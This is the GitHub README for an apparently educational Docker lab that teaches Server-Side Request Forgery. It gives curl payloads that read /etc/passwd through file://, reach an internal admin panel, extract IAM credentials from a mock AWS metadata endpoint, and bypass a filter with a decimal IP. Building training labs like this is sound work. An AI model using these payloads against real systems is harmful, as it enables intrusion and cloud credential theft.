Skip to content

renansj/ssrf-lab

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

1 Commit
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

SSRF Lab - Laboratório de Server-Side Request Forgery

Laboratório propositalmente vulnerável para estudo e prática de SSRF (Server-Side Request Forgery).

⚠️ Aviso

Este lab é intencionalmente inseguro. Não exponha na internet. Use apenas em ambiente local para fins educacionais.

Arquitetura

┌─────────────────────────────────────────────────────────┐
│                    Rede Interna Docker                   │
│                                                         │
│  ┌──────────────┐    ┌──────────────┐                   │
│  │ Admin Panel  │    │    Redis     │                   │
│  │  :8081       │    │    :6379     │                   │
│  │ (interno)    │    │  (interno)   │                   │
│  └──────────────┘    └──────────────┘                   │
│                                                         │
│  ┌──────────────┐    ┌──────────────────────────────┐   │
│  │  Metadata    │    │   Vulnerable App (Flask)     │   │
│  │  :80         │    │   :5000 → exposta em :8080   │   │
│  │ (interno)    │    │                              │   │
│  │ 172.28.0.100 │    │   Endpoints:                 │   │
│  └──────────────┘    │   - /fetch?url= (SSRF)       │   │
│                      │   - /generate-pdf (SSRF)      │   │
│                      │   - /webhook (Blind SSRF)     │   │
│                      └──────────────────────────────┘   │
└─────────────────────────────────────────────────────────┘

Como subir o lab

cd ssrf-lab/
docker-compose up -d --build

Verifique se está rodando:

curl http://localhost:8080/

Endpoints vulneráveis

Endpoint Tipo Descrição
GET /fetch?url= SSRF Clássico Busca URL e retorna conteúdo
GET /fetch-no-filter?url= SSRF sem filtro Sem nenhuma proteção
POST /generate-pdf SSRF via PDF Gerador de PDF busca URL
POST /webhook Blind SSRF Faz request mas não retorna conteúdo
GET /redirect?target= Open Redirect Auxiliar para bypass de filtro

Exploração manual

1. Leitura de arquivos locais

curl "http://localhost:8080/fetch-no-filter?url=file:///etc/passwd"

2. Acesso ao painel admin interno

curl "http://localhost:8080/fetch-no-filter?url=http://admin-panel:8081/"

3. Exfiltração de metadados AWS

# Listar roles
curl "http://localhost:8080/fetch-no-filter?url=http://metadata:80/latest/meta-data/iam/security-credentials/"

# Extrair credenciais
curl "http://localhost:8080/fetch-no-filter?url=http://metadata:80/latest/meta-data/iam/security-credentials/prod-web-role"

4. Bypass de filtro com IP decimal

# 2130706433 = 127.0.0.1 em decimal
curl "http://localhost:8080/fetch?url=http://2130706433:5000/"

Exploit automatizado

python3 exploit.py --target http://localhost:8080

Parar o lab

docker-compose down -v

Referências

About

Lab de SSRF com Docker - aplicação Flask vulnerável, serviços internos, mock de metadata AWS. Material de apoio: https://renansj.dev/ssrf

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors